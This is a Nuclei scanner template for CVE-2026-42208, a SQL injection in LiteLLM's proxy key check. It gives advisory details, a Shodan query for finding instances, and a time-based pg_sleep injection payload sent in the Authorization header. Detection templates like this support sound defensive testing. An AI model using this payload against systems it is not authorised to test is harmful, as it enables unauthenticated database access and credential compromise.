id: CVE-2026-42208

info:
  name: LiteLLM - SQL Injection
  author: HAERIN-L
  severity: critical
  description: |
    LiteLLM 1.81.16 to < 1.83.7 contains a SQL injection caused by improper handling of caller-supplied key in database query during proxy API key checks, letting unauthenticated attackers read and modify database data, exploit requires crafted Authorization header.
  impact: |
    Unauthenticated attackers can read and modify proxy database, leading to unauthorized access and credential compromise.
  remediation: |
    Upgrade to version 1.83.7 or later.
  reference:
    - https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc
    - https://www.sysdig.com/blog/cve-2026-42208-critical-sql-injection-litellm/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42208
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42208
    epss-score: 0.8942
    epss-percentile: 0.9977
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: BerriAI
    product: LiteLLM
    shodan-query: http.title:"LiteLLM"
  tags: cve,cve2026,litellm,sqli,unauthenticated,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /ui/login/? HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer invalid_token_baseline_test

        {}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "litellm-asset-prefix")'
          - 'contains(content_type_2, "application/json")'
          - 'status_code_2 == 401'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{randstr}}' OR (SELECT pg_sleep(8)) IS NOT NULL --

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'duration >= 8'
        condition: and
# digest: 4a0a00473045022100ef1ae8ef4ae5f190dcc71102d8cba08bfd8b85831d85a8fe6731f63bb4cc836a022003a9630b0b554a5844b5f8bcf1cb578f9613447e7a3bdbff69c290ceaf377e1b:922c64590222798bb761d5b6d8e72950